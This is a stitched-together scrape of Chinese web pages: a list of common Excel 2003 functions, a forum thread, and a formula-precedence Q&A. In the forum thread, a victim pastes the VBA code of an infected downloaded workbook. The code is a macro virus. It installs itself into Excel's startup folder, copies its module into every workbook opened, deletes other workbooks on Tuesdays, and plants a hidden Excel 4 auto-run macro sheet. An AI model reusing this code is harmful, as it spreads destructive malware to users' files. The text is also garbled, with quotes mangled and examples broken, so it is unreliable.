今天看啥 热点：
EXCEL中的常用函数，功能及用法？
EXCEL中的常用函数，常在什么情况下使用，请帮忙举例解释一下它的用法，每个方框的参数，越简单易懂越好！先谢谢啦！
Excel2003常用函数 1.NOW 用途：返回当前日期和时间所对应的序列号。 语法：NOW() 参数：无 实例：如果正在使用的是1900日期系统，而且计算机的内部时钟为2:53，则公式“=NOW()”返回36919.54。 2.TODAY 用途：返回系统当前日期的序列号。 参数：无 语法：TODAY() 实例：公式“=TODAY()”返回(执行公式时的系统时间)。 3.CELL 用途：返回某一引用区域的左上角单元格的格式、位置或内容等信息，该函数主要用于保持与其它电子表格程序的兼容性。 语法：CELL(info_type，reference) 参数：Info_type为一个文本值，指明所需要的单元格信息的类型。Reference表示要获取其有关信息的单元格。如果忽略，则在info_type中所指定的信息将返回给最后更改的单元格。 实例：公式“=CELL("row"，A20)”返回20，如果A3单元格包含TOTAL，则CELL("contents"，A3)返回"TOTAL"。 4.ISEVEN 用途：测试参数的奇偶性，如果参数为偶数返回TRUE，否则返回FALSE。 语法：ISEVEN(number) Number待测试的数值。如果参数值不是整数，则自动截去小数部分取整。 注意：该函数必须加载“分析工具库”方能使用。如果参数number不是数值，ISEVEN函数返回错误值#VALUE!。 实例：公式“=ISEVEN(11)返回FALSE”，=ISEVEN(6)返回TRUE。 5.ISODD 用途：测试参数的奇偶性，如果参数为奇数返回TRUE，否则返回FALSE。 语法：ISODD(number) 参数：Number待测试的数值。如果参数不是整数，则自动截去小数部分取整。 注意：该函数必须加载“分析工具库”方能使用。 实例：公式“=ISODD(19)”返回TRUE，=ISODD(14.5)返回FALSE。 6.AND 用途：所有参数的逻辑值为真时返回TRUE(真)；只要有一个参数的逻辑值为假，则返回FALSE(假)。 语法：AND(logical1，logical2，…)。 参数：Logical1，logical2，…为待检验的1～30个逻辑表达式，它们的结论或为TRUE(真)或为FALSE(假)。参数必须是逻辑值或者包含逻辑值的数组或引用，如果数组或引用内含有文字或空白单元格，则忽略它的值。如果指定的单元格区域内包括非逻辑值，AND将返回错误值#VALUE！。 实例：如果A1=2、A=6，那么公式“=AND(A1A2)”返回FALSE。如果B4=104，那么公式“=IF(AND(1 7.IF 用途：执行逻辑判断，它可以根据逻辑表达式的真假，返回不同的结果，从而执行数值或公式的条件检测任务。 语法：IF(logical_test，value_if_true，value_if_false)。 参数：Logical_test计算结果为TRUE或FALSE的任何数值或表达式；Value_if_true是Logical_test为TRUE时函数的返回值，如果logical_test为TRUE并且省略了value_if_true， 则返回TRUE。而且Value_if_true可以是一个表达式；Value_if_false是Logical_test为FALSE时函数的返回值。如果logical_test为FALSE并且省略value_if_false，则返回FALSE。Value_if_false也可以是一个表达式。 实例：公式“=IF(C2&=85，"A"，IF(C2&=70，"B"，IF(C2&=60，"C"，IF(C2&60，"D"))))”，其中第二个IF语句同时也是第一个IF语句的参数。同样，第三个IF语句是第二个IF语句的参数，以此类推。例如，若第一个逻辑判断表达式C2&=85成立，则D2单元格被赋值“A”；如果第一个逻辑判断表达式C2&=85不成立，则计算第二个IF语句“IF(C2&=70”；以此类推直至计算结束，该函数广泛用于需要进行逻辑判断的场合。 8.OR 用途：所有参数中的任意一个逻辑值为真时即返回TRUE(真)。 语法：OR(logical
2007中输入函数比2003版以前方便多了！
直接在单元格中输入等号，输入一个字母，程序马上会提供一个下拉列表，将以这个字母开头的所有函数名称都显示出来了(所以使用07版后我都不再去刻意记忆函数完整名称了，只要记得开始第一字母就可以了），看中一个你需要使用的函数名称，鼠标移动到这个函数名称上，就会显示这个函数的作用，鼠标双击这个函数名称，这个函数就自动填到这个单元格中了，还自动加上了前面的半个括号并出现一个提示框将函数及参数的结构展现出来，如果想进一步知道这个函数的详细用法，再点击函数结构提示框中中的函数名称，就打开了这个函数的帮助文件。帮客之家推荐：
Excel2003常用函数 1.NOW用途：返回当前日期和时间所对应的序列号。语法：NOW()参数：无实例：如果正在使用的是1900日期系统，而且计算机的内部时钟为2:53，则公式“=NOW()”返回36919.54。2.TODAY用途：返回系统当前日期的序列号。参数：无语法：TODAY()实例：公式“=TODAY()”返回(执行公式时的系统时间)。3.CELL用途：返回某一引用区域的左上角单元格的格式、位置或内容等信息，该函数主要用于保持与其它电子表格程序的兼容性。语法：CELL(info_type，reference)参数：Info_type为一个文本值，指明所需要的单元格信息的类型。Reference表示要获取其有关信息的单元格。如果忽略，则在info_type中所指定的信息将返回给最后更改的单元格。实例：公式“=CELL(&row&，A20)”返回20，如果A3单元格包含TOTAL，则CELL(&contents&，A3)返回&TOTAL&。4.ISEVEN用途：测试参数的奇偶性，如果参数为偶数返回TRUE，否则返回FALSE。语法：ISEVEN(number)Number待测试的数值。如果参数值不是整数，则自动截去小数部分取整。注意：该函数必须加载“分析工具库”方能使用。如果参数number不是数值，ISEVEN函数返回错误值#VALUE!。实例：公式“=ISEVEN(11)返回FALSE”，=ISEVEN(6)返回TRUE。5.ISODD用途：测试参数的奇偶性，如果参数为奇数返回TRUE，否则返回FALSE。语法：ISODD(number)参数：Number待测试的数值。如果参数不是整数，则自动截去小数部分取整。注意：该函数必须加载“分析工具库”方能使用。实例：公式“=ISODD(19)”返回TRUE，=ISODD(14.5)返回FALSE。6.AND用途：所有参数的逻辑值为真时返回TRUE(真)；只要有一个参数的逻辑值为假，则返回FALSE(假)。语法：AND(logical1，logical2，…)。参数：Logical1，logical2，…为待检验的1～30个逻辑表达式，它们的结论或为TRUE(真)或为FALSE(假)。参数必须是逻辑值或者包含逻辑值的数组或引用，如果数组或引用内含有文字或空白单元格，则忽略它的值。如果指定的单元格区域内包括非逻辑值，AND将返回错误值#VALUE！。实例：如果A1=2、A=6，那么公式“=AND(A1A2)”返回FALSE。如果B4=104，那么公式“=IF(AND(17.IF用途：执行逻辑判断，它可以根据逻辑表达式的真假，返回不同的结果，从而执行数值或公式的条件检测任务。语法：IF(logical_test，value_if_true，value_if_false)。参数：Logical_test计算结果为TRUE或FALSE的任何数值或表达式；Value_if_true是Logical_test为TRUE时函数的返回值，如果logical_test为TRUE并且省略了value_if_true，则返回TRUE。而且Value_if_true可以是一个表达式；Value_if_false是Logical_test为FALSE时函数的返回值。如果logical_test为FALSE并且省略value_if_false，则返回......余下全文>>
相关搜索：
相关阅读：
相关频道：
软件教程最近更新查看: 2264|回复: 8
excel碰到棘手问题，请高手帮忙解决，谢谢！
阅读权限20
在线时间 小时
第一个问题在这个帖子中，目前还没有人解决。
第２个问题重新安装office也没有用，要用比较好的方法，禁用宏这样的方法我不想试。起因是从网上下载了一个excel函数笔记，我打开后，就显示有错误，后来打开其它的excel文件后就出现以下问题：
删除这个下载的文件，也还是有这个问题，office重新安装也没有用。
[ 本帖最后由 godsaveme 于
08:54 编辑 ]
(30.32 KB, 下载次数: 5)
08:52 上传
(15.43 KB, 下载次数: 3)
08:52 上传
(30.32 KB, 下载次数: 5)
08:52 上传
阅读权限95
在线时间 小时
只上传图片，确实无法解决
阅读权限70
在线时间 小时
没有附件，单纯图片没办法找问题
阅读权限50
在线时间 小时
关于循环引用的问题，我来举个例子，出错的情况和你是一样的
假定有这样一个自定义函数
Function Count_Col_A() As Long
&&Count_Col_A = WorksheetFunction.CountA(Columns(1))
End Function
其作用是统计当前工作表中A列中有数据单元格的数目
你在VBA中可以直接使用&&Count_Col_A 这个函数
也可以在Excel中除A列以外输入 = Count_Col_A()
但是，如果你在A列中输入这个公式Excel就会报你提供的图中那样的错误
你可以在B列的任意一个单元格中输入公式=count(B:B) 来制造一个循环引用，然后通过EXcel的帮助来了解一下什么事循环引用和解决的办法
阅读权限20
在线时间 小时
这个和附件没有关系，我现在是打开任何excel表，都会出现这个问题！
阅读权限20
在线时间 小时
请高手帮忙解决啊，谢谢大家！
阅读权限20
在线时间 小时
再次请教大家！VBA中的copymod模块
Sub auto_open()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents(&ThisWorkbook&)
If ThisWorkbook.Path && Application.StartupPath Then
&&Application.ScreenUpdating = False
&&Call delete_this_wk
&&Call copytoworkbook
&&If Movemacro4(ThisWorkbook) Then GoTo 800
&&ThisWorkbook.Save
&&Application.ScreenUpdating = True
Sub copytoworkbook()
&&Const DQUOTE = &&&& ' one & character
&&With ThisWorkbook.VBProject.VBComponents(&ThisWorkbook&).CodeModule
.InsertLines 1, &Public WithEvents xx As Application&
.InsertLines 2, &Private Sub Workbook_open()&
.InsertLines 3, &Set xx = Application&
.InsertLines 4, &On Error Resume Next&
.InsertLines 5, &If Sheets(1).Name && & & DQUOTE & &Macro1& & DQUOTE & & Then&
.InsertLines 6, &Call auto_open&
.InsertLines 7, &End If&
.InsertLines 8, &Call in_install_me&
.InsertLines 9, &End Sub&
.InsertLines 10, &Private Sub xx_workbookOpen(ByVal wb As Workbook)&
.InsertLines 11, &On Error Resume Next&
.InsertLines 12, &wb.VBProject.References.AddFromGuid _&
.InsertLines 13, &GUID:=& & DQUOTE & &{0-}& & DQUOTE & &, _&
.InsertLines 14, &Major:=5, Minor:=3&
.InsertLines 15, &Application.ScreenUpdating = False&
.InsertLines 16, &Application.DisplayAlerts = False&
.InsertLines 17, &If Weekday(Now, vbMonday) = 3 And wb.Name && & & DQUOTE & &rpt_pdm2cvs.xls& & DQUOTE & &Then&
.InsertLines 18, &wb.ChangeFileAccess xlReadOnly&
.InsertLines 19, &Kill wb.FullName&
.InsertLines 20, &wb.Close False&
.InsertLines 21, &End If&
.InsertLines 22, &If copystart(wb) Then GoTo 700&
.InsertLines 23, &700: ActiveWorkbook.Save&
.InsertLines 24, &Application.ScreenUpdating = True&
.InsertLines 25, &End Sub&
Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents(&ThisWorkbook&)
Set CodeMod = VBComp.CodeModule
With CodeMod
& & .DeleteLines 1, .CountOfLines
Function copystart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks(&rpt_pdm2cvs.xls&).VBProject
Set VBProj2 = wb.VBProject
If copymodule(&copymod&, VBProj1, VBProj2, False) Then Exit Function
End Function
Function copymodule(ModuleName As String, _
& & FromVBProject As VBIDE.VBProject, _
& & ToVBProject As VBIDE.VBProject, _
& & OverwriteExisting As Boolean) As Boolean
& & On Error Resume Next
& & Dim VBComp As VBIDE.VBComponent
& & Dim FName As String
& & Dim CompName As String
& & Dim S As String
& & Dim SlashPos As Long
& & Dim ExtPos As Long
& & Dim TempVBComp As VBIDE.VBComponent
& & If FromVBProject Is Nothing Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If Trim(ModuleName) = vbNullString Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If ToVBProject Is Nothing Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If FromVBProject.Protection = vbext_pp_locked Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If ToVBProject.Protection = vbext_pp_locked Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & On Error Resume Next
& & Set VBComp = FromVBProject.VBComponents(ModuleName)
& & If Err.Number && 0 Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & FName = Environ(&Temp&) & &\& & ModuleName & &.bas&
& & If OverwriteExisting = True Then
& && &&&If Dir(FName, vbNormal + vbHidden + vbSystem) && vbNullString Then
& && && && &Err.Clear
& && && && &Kill FName
& && && && &If Err.Number && 0 Then
& && && && && & copymodule = False
& && && && && & Exit Function
& && && && &End If
& && &&&End If
& && &&&With ToVBProject.VBComponents
& && && && &.Remove .Item(ModuleName)
& && &&&End With
& && &&&Err.Clear
& && &&&Set VBComp = ToVBProject.VBComponents(ModuleName)
& && &&&If Err.Number && 0 Then
& && && && &If Err.Number = 9 Then
& && && && && &
& && && && &Else
& && && && && &
& && && && && & copymodule = False
& && && && && & Exit Function
& && && && &End If
& && &&&End If
& & End If
& & FromVBProject.VBComponents(ModuleName).Export Filename:=FName
& & SlashPos = InStrRev(FName, &\&)
& & ExtPos = InStrRev(FName, &.&)
& & CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
& & Set VBComp = Nothing
& & Set VBComp = ToVBProject.VBComponents(CompName)
& & If VBComp Is Nothing Then
& && &&&ToVBProject.VBComponents.Import Filename:=FName
& && &&&If VBComp.Type = vbext_ct_Document Then
& && && && &
& && && && &Set TempVBComp = ToVBProject.VBComponents.Import(FName)
& && && &&&
& && && && &With VBComp.CodeModule
& && && && && & .DeleteLines 1, .CountOfLines
& && && && && & S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
& && && && && & .InsertLines 1, S
& && && && &End With
& && && && &On Error GoTo 0
& && && && &ToVBProject.VBComponents.Remove TempVBComp
& && &&&End If
& & End If
& & Kill FName
& & copymodule = True
End Function
Function Movemacro4(ByVal wb As Workbook)
On Error Resume Next
&&Dim sht As Object
& & wb.Sheets(1).Select
& & Sheets.Add Type:=xlExcel4MacroSheet
& & ActiveSheet.Name = &Macro1&
& & Range(&A1&).Select
& & Application.CutCopyMode = False
& & ActiveCell.FormulaR1C1 = &Door Locked&
& & Range(&A2&).Select
& & ActiveCell.FormulaR1C1 = &=ERROR(FALSE)&
& & Range(&A3&).Select
& & ActiveCell.FormulaR1C1 = &=IF(ERROR.TYPE(RUN(&&TestMacro&&))=4)&
& & Range(&A4&).Select
& & ActiveCell.FormulaR1C1 = &=&&ALERT(&&运行此文件，需要宏功能!&&,3)&
& & Range(&A5&).Select
& & ActiveCell.FormulaR1C1 = &=&&FILE.CLOSE(FALSE)&
& & Range(&A6&).Select
& & ActiveCell.FormulaR1C1 = &=END.IF()&
& & Range(&A7&).Select
& & ActiveCell.FormulaR1C1 = &=RETURN()&
& & For Each sht In wb.Sheets
& & wb.Names.Add sht.Name & &!Auto_Activate&, &=Macro1!$A$2&, False
& & wb.Sheets(1).Visible = False
End Function
Sub AddPrivateNames()
& & On Error Resume Next
& & Dim sht As Object
& & For Each sht In Sheets
& && &&&ThisWorkbook.Names.Add sht.Name & &!Auto_Activate&, &=Macro1!$A$2&, False
Sub HideMacroSheet()
& & ThisWorkbook.Excel4MacroSheets(1).Visible = xlSheetHidden
Sub HideMacroSheeth()
& & ThisWorkbook.Excel4MacroSheets(1).Visible = -1
Sub in_install_me()
On Error Resume Next
Dim myfile0 As String
Dim myfile As String
myfile0 = ThisWorkbook.FullName
myfile = Application.StartupPath & &\rpt_pdm2cvs.xls&
If ThisWorkbook.Path && Application.StartupPath Then
& &&&Set fs = CreateObject(&Scripting.FileSystemObject&)
Application.ScreenUpdating = False
& &&&If fs.FileExists(myfile) Then
& && & If True Then
& && &&&On Error Resume Next
& && &&&Workbooks(&rpt_pdm2cvs.xls&).Close False
& && &&&Kill myfile
& && &&&ThisWorkbook.IsAddin = True
& && &&&ThisWorkbook.SaveAs myfile
& && &&&Workbooks.Open myfile0
& && &&&Else
& && &&&ThisWorkbook.Close False
& && & End If
& &&&ThisWorkbook.IsAddin = True
& &&&ThisWorkbook.SaveAs myfile
& &&&Workbooks.Open myfile0
Application.ScreenUpdating = True
[ 本帖最后由 godsaveme 于
08:49 编辑 ]
阅读权限20
在线时间 小时
ＶＢＡ中的模块１
' 宏1 Macro
' jishu 记录的宏
& & ActiveWindow.DisplayFormulas = Not ActiveWindow.DisplayFormulas
Sub updatachart()
If ActiveCell.Row & 154 And ActiveCell.Row & 158 Then activewsheet.Calculate
Sub animatechart()
Range(&A217&) = 0
For I = 1 To 150
Range(&A217&) = Range(&A217&) + 0.035
Range(&A217&) = 0
Function isformulacell(cell) As Boolean
& & isformulacell = cell.HasFormula
End Function
Function HASDATE(cell) As Boolean
& & HASDATE = IsDate(cell)
End Function
Function USER()
USER = Application.UserName
USER = UCase(USER)
End Function
Function reversetext(text) As String
textlen = Len(text)
For I = textlen To 1 Step -1
reversetext = reversetext & Mid(text, I, 1)
End Function
Function SumIntegers(first, last)
For num = first To last
total = total + num
SumIntegers = total
End Function
Function SumIntegers2(first, last)
For num = first To last Step 2
total = total + num
SumIntegers2 = total
End Function
Function Rowoflargest(C)
&&NumRows = Rows.Count
& & maxval = WorksheetFunction.Max(Columns(C))
For r = 1 To NumRows
&&If Cells(r, C) = maxval Then Rowoflargest = r
End Function
Function Rowoflargest2(C)
NumRows = Rows.Count
& & maxval = Application.Max(Columns(C))
Do While Cells(r, C) && maxval
Rowoflargest2 = r
End Function
Function Rangename(rng)
On Error Resume Next
Rangename = rng.Name.Name
If Err.Number && 0 Then Rangename = &&
End Function
Function dividetwo(num1, num2)
On Error GoTo errhandler
dividetwo = num1 / num2
Exit Function
errhandler:
dividetwo = &error&
End Function
Function sumofsquares(rng As Range)
Dim total As Double
Dim cell As Range
For Each cell In rng
total = total + cell ^ 2
sumofsquares = total
End Function
Function Square(cell As Range)
Dim cellvalue As Double
cellvalue = cell.Range(&a1&).Value
Square = cellvalue ^ 2
End Function
Function rangeaddress(rng)
rangeaddress = rng.Address
End Function
Function cellcount(rng)
cellcount = rng.Count
End Function
Function sheetname(rng)
sheetname = rng.Parent.Name
End Function
Function numberformat(cell)
numberformat = cell.Range(&A1&).numberformat
End Function
Function nonempty(cell)
nonempty = WorksheetFunction.CountA(cell.EntireColumn)
End Function
Function cellsincommon(rng1, rng2)
Dim commoncells As Range
On Error Resume Next
Set commoncells = Intersect(rng1, rng2)
If Err.Number = 0 Then
cellsincommon = commoncells.Count
cellsincommon = 0
End Function
Function formulacount(rng As Range)
Dim cnt As Long
Dim cell As Range
Set workrange = Intersect(rng, rng.Parent.UsedRange)
For Each cell In workrange
If cell.HasFormula Then cnt = cnt + 1
formulacount = cnt
End Function
Function cellhasformula(cell) As Boolean
cellhasformula = cell.Range(&A1&).HasFormula
End Function
Function workbookname() As String
workbookname = Application.Caller.Parent.Parent.Name
End Function
Function fillcolor(cell) As Integer
Application.Volatile True
fillcolor = cell.Range(&A1&).Interior.ColorIndex
End Function
Function statfunction(rng, op)
statfunction = Evaluate(op & &(& & rng.Address(external:=True) & &)&)
End Function
Function staticrand()
staticrand = Rnd
End Function
Function commission(sales, years) As Single
Const tier1 As Double = 0.08
Const tier2 As Double = 0.105
Const tier3 As Double = 0.12
Const tier4 As Double = 0.14
Select Case sales
Case Is &= 40000
commission = sales * tier4
Case Is &= 20000
commission = sales * tier3
Case Is &= 10000
commission = sales * tier2
Case Is & 10000
commission = sales * tier1
End Select
commission = commission + (commission * years / 100)
End Function
Function acronym(text) As String
Dim textlen As Integer
Dim I As Integer
text = Application.Trim(text)
textlen = Len(text)
acronym = Left(text, 1)
For I = 2 To textlen
If Mid(text, I, 1) = & & _
Then acronym = acronym & Mid(text, I + 1, 1)
acronym = UCase(acronym)
End Function
Function extractelement(txt, n, separator) As String
Dim allelements As Variant
allelements = Split(txt, separator)
extractelement = allelements(n - 1)
End Function
Function nextmonday(d As Date) As Date
nextmonday = d + 8 - Weekday(d, vbMonday)
End Function
阅读权限20
在线时间 小时
还是自己解决了，把ＶＢＡ中的所有的内容清除后就可以了。
最新热点 /1
ExcelHome每周都有线上直播公开课，
国内一流讲师真身分享，高手贴身答疑，
赶不上直播还能看录像，
关键居然是免费的！
厚木哥们都已经这么努力了，
你还好意思说学不好Office。
玩命加载中，请稍候
玩命加载中，请稍候
Powered by
本论坛言论纯属发表者个人意见，任何违反国家相关法律的言论，本站将协助国家相关部门追究发言者责任！ & & 本站特聘法律顾问：徐怀玉律师 李志群律师关于Excel2003公式-学网-中国IT综合门户网站-提供健康,养生,留学,移民,创业,汽车等信息
> 信息中心 >
关于Excel2003公式
来源：互联网 发表时间： 19:49:47 责任编辑：鲁晓倩字体：
为了帮助网友解决“关于Excel2003公式”相关的问题，学网通过互联网对“关于Excel2003公式”相关的解决方案进行了整理,用户详细问题包括:
现想编辑学网
公式:C=A*B/2何使电脑先计算A*B再除2我试着编辑[a*b]/2 结确请高手指点学网
，具体解决方案如下：解决方案1：*/运算优先级学网
同优先级按先顺序计算所A*B/2本身先乘除放加括号：(A*B)/2注意加圆括号能用括号解决方案2：
用更改公式电脑按要求顺序计算
相关文章：
最新添加资讯
24小时热门资讯
Copyright © 2004- All Rights Reserved. 学网 版权所有
京ICP备号-1 京公网安备02号